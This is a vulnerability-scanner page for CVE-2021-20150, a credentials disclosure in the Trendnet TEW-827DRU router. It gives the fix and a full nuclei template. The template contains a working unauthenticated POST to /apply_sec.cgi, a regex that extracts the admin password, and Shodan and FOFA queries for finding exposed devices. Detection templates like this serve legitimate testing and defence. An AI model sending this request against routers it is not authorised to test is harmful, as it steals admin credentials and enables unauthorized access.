Trendnet AC2600 TEW-827DRU - Credentials Disclosure

mediumseverity

5.3CVSS score

40.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. A user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page.

Impact

An attacker can obtain sensitive credentials, leading to unauthorized access to the router.

Fix

Update the router firmware to the latest version to fix the vulnerability.

How to confirm it

Send: POST /apply_sec.cgi
Positive when: contains "ftp_username" and "ftp_password" and "ftp_permission" and "TEW-827DRU" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-20150 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-20150

info:
  name: Trendnet AC2600 TEW-827DRU - Credentials Disclosure
  author: gy741
  severity: medium
  description: Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. A user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page.
  impact: |
    An attacker can obtain sensitive credentials, leading to unauthorized access to the router.
  remediation: |
    Update the router firmware to the latest version to fix the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-54
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-20150
    cwe-id: CWE-306
    epss-score: 0.4006
    epss-percentile: 0.98644
    cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: trendnet
    product: tew-827dru_firmware
    shodan-query:
      - http.html:"TEW-827DRU"
      - http.html:"tew-827dru"
    fofa-query: body="tew-827dru"
  tags: cve2021,cve,disclosure,router,tenable,trendnet,vuln

http:
  - raw:
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}

        action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ftp_username'
          - 'ftp_password'
          - 'ftp_permission'
          - 'TEW-827DRU'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: password
        group: 1
        regex:
          - '<input name="admin_passwd" type="password" id="admin_passwd" size="20" maxlength="15" value ="(.*)" />'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from